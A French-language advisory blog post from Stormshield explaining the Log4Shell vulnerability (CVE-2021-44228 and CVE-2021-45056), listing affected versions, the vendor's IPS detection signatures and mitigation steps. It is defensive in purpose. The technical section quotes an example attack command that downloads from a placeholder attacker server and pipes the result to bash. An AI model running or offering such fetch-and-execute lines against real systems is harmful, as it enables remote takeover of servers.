La découverte de la vulnérabilité Zero-day Log4Shell a fait l’effet d’une bombe à l’approche des fêtes de fin d’année. Le point sur une vulnérabilité critique, avec l’équipe Stormshield Customer Security Lab. Et retrouvez les impacts de cette vulnérabilité Log4Shell sur les produits Stormshield en bas de page.

Cette vulnérabilité Log4Shell inquiète énormément la communauté sécurité. D’une part, car elle est déjà exploitée mais, d’autre part, car les mises à jour de ce type de logiciel peuvent être longues. Très longues… Certains spécialistes estiment qu’il faudra plusieurs années avant que tous les logiciels impactés soient patchés.

 

Le contexte de la vulnérabilité Log4Shell

Ce 9 décembre 2021, une vulnérabilité Zero-day de type RCE (Remote Code Execution) concernant la librairie log4j a été découverte par Chen Zhaojun. Elle est désormais connue sous le nom de vulnérabilité Log4Shell ou via le numéro CVE-2021-44228. Cette librairie est largement utilisée dans le framework Apache et son écosystème. Son exploitation permettant la prise de contrôle à distance du serveur, l’impact de la vulnérabilité est par conséquent très élevé. À tel point que son score CVSS est de 10, soit le plus élevé de cette échelle de notation. Elle peut être classée dans une vulnérabilité critique de type supply chain.

Un POC a été mis à disposition sur GitHub dès le 9 décembre, et propose par ailleurs des techniques de contournement des Web Application Firewalls.

Mise à jour du 15/12/2021 avec la CVE-2021-45056 : une autre vulnérabilité relative au module JNDI a été découverte et permet un déni de service. Son score CVSS est de 3.7.

 

Les détails techniques de la vulnérabilité Log4Shell

La librairie log4j permet la génération de logs pour les applications Java. Elle dispose d’une fonctionnalité appelée JNDI Lookup (Java Naming and Directory Interface) qui procède automatiquement à l’interrogation de serveur LDAP (ou autre serveur relatif à JNDI) lorsqu’une requête spécifique est formulée.

Il est possible pour un attaquant de forger un log ou un paramètre spécifique, qui, lorsqu’il est parcouru par le programme, conduit la fonction JNDI à effectuer une requête sur le serveur de l’attaquant,

  • soit pour demander l’exécution d’une commande (par exemple curl -s SERVERIP:5874/[target IP]:8080||wget -q -O- SERVERIP:5874/[target IP]:8080)|bash) ;
  • soit exécuter simplement un shutdown now pour réaliser un déni de service ;
  • ou encore pour récupérer la charge malveillante et l’exécuter sur le serveur cible.

Voici un schéma synthétisant l’exploitation de la vulnérabilité Log4Shell :

Versions impactées par la CVE-2021-44228

Les versions concernées sont Log4j entre la 2.0beta9 et la 2.14.1, la fonctionnalité de « message lookup substitution » est activée par défaut. À partir de la version 2.15, la fonctionnalité est désactivée par défaut.

Mise à jour du 15/12/2021 avec la CVE-2021-45056 : la version 2.15.0 reste vulnérable à un déni de service via l’utilisation du champ {ctx :}.

 

Logiciels impactés par la CVE-2021-44228

S’agissant d’une vulnérabilité dans une bibliothèque largement embarquée dans des outils « clé en main », il est impossible de dresser une liste précise de tous les logiciels vulnérables. Cependant, de grands noms comme Apple, Steam, Twitter et l’éditeur de Minecraft sont impactés.

Pour plus de détails, ce GitHub recense l’exposition de différents éditeurs à cette vulnérabilité Log4Shell.

 

Les moyens de protection fournis par Stormshield face à la la vulnérabilité Log4Shell

Protection avec Stormshield Network Security

Plusieurs signatures IPS ont été publiées sur les firewalls Stormshield Network Security (SNS), permettant de détecter et bloquer les tentatives d’écriture de logs contenant une instruction JNDI, qui seraient contenues dans une en-tête HTTP ou dans le corps de la requête. Celles-ci fonctionnent donc via l’analyse du trafic HTTP, qui doit donc être en clair lors de son inspection. Si le flux est chiffré, le proxy SSL doit être activé (flux sortant), ou alors le déchiffrement doit se faire sur un autre équipement en amont (flux entrant).

Ces signatures sont :

  • http:client:header.217 → Log4j2 RCE attempt using JNDI on HTTP header (CVE-2021-44228)
  • http:client:data.160 → Log4j2 RCE attempt using JNDI on HTTP POST request (CVE-2021-44228)

Mise à jour du 15/12/2021 avec la CVE-2021-45056 : suite à la communication Apache, deux nouvelles signatures ont été publiées permettant de prévenir d’une nouvelle exploitation. Il s’agit de :

  • http:client:header.218 → DoS attempt on a Log4j2 service using malicious HTTP header (CVE-2021-45056)
  • http:client:data.161 → DoS attempt on a Log4j2 service using malicious HTTP POST request (CVE-2021-45056)

Indice de confiance de la protection proposée par Stormshield

Indice de confiance de l’absence de faux positif

Protection avec Stormshield Endpoint Security

Les différentes versions de SES (7.2 et Evolution) étant des solutions de protection de postes et serveurs, elles ne vont pas bloquer l’exploitation de cette vulnérabilité Log4Shell directement. Par contre, elles pourront empêcher le payload de s’exécuter correctement et ainsi éviter tout impact. Le blocage dépendra du payload utilisé.

 

Recommandations face à la vulnérabilité Log4Shell

La première recommandation est la mise à jour de log4j en version 2.16.

Si cela n’est pas possible, il faut supprimer la classe JndiLookup du fichier .jar core : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

 

Les impacts de la vulnérabilité Log4Shell sur les produits Stormshield

L’étude d’impact a été menée sur l’ensemble de la gamme de produit Stormshield, incluant les services SaaS, donc voici le résultat.

Seule la solution SVC en version 1.6 est vulnérable. Un contournement est proposé sur notre site Advisories.

Partager sur

[juiz_sps buttons="facebook, twitter, linkedin, mail"]
Notre équipe de Threat Intelligence remplit deux missions principales : étudier les menaces cyber pour les comprendre et améliorer en continu les protections des produits de Stormshield. Le tout, dans l’optique de contribuer à l’effort de la communauté de la cybersécurité pour faire face aux menaces cyber.
À propos de l'auteur
Pierre-Olivier Kaplan Stormshield Customer Security Lab Researcher

Pierre-Olivier est multi-casquettes dans l'univers du jeu, alternant entre game-designer et rôliste. Passionné d'histoire et de sécurité informatique, il se spécialise dans la deuxième une fois sorti des bancs de l'EPITA et rejoint les rangs de Stormshield. IRL, il s'alimente à partir de n'importe quoi à base de houmous, idéal pour être en pleine forme et s'attaquer aux dernières cyber-menaces.